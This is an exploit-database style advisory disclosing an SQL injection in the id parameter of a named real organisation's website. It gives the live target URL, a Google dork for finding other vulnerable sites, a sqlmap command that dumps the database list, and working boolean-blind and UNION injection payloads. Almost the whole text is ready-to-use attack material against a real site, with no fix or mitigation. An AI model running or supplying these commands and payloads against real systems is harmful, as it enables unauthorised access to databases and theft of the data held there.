****************************
#Exploit Title: RWMC - SQL Injection vulnerability
#Date: 2020-09-18
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.rwmc.org.pk
#Google Dork: news.php?id=11
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.rwmc.org.pk/rwmcweb/Breaking-news.php?id=11" --dbs
Testing Method;
- boolean-based blind
- UNION query
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11' AND 8827=8827 AND 'bYin'='bYin
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=11' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a6a71,0x624848414c72595066774d6b5178794b4d75706e466a46596a4b6d73717275624d50715051556358,0x71717a7871),NULL,NULL,NULL,NULL-- qgKV
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************